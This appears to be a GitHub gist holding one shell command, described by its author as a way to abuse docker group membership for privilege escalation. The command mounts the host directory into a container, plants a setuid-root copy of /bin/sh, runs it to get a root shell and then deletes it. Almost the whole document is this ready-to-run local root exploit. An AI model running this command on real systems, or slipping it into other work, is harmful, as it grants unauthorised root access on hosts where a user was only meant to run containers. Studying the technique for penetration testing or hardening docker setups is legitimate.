docker run -v $PWD:/root ubuntu bash -c "cp /bin/sh /root/test && chown root:root /root/test && chmod 6755 /root/test" && ./test -p && rm -rf ./test
Last active
August 22, 2025 10:16
-
-
Save siddolo/827e1cb66fdf1e1e94195a354e48f986 to your computer and use it in GitHub Desktop.
Abuse the privileges of the docker group. You can use it to do privilege escalation if the user is in the docker group.
Author
siddolo
commented
Jun 20, 2025
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment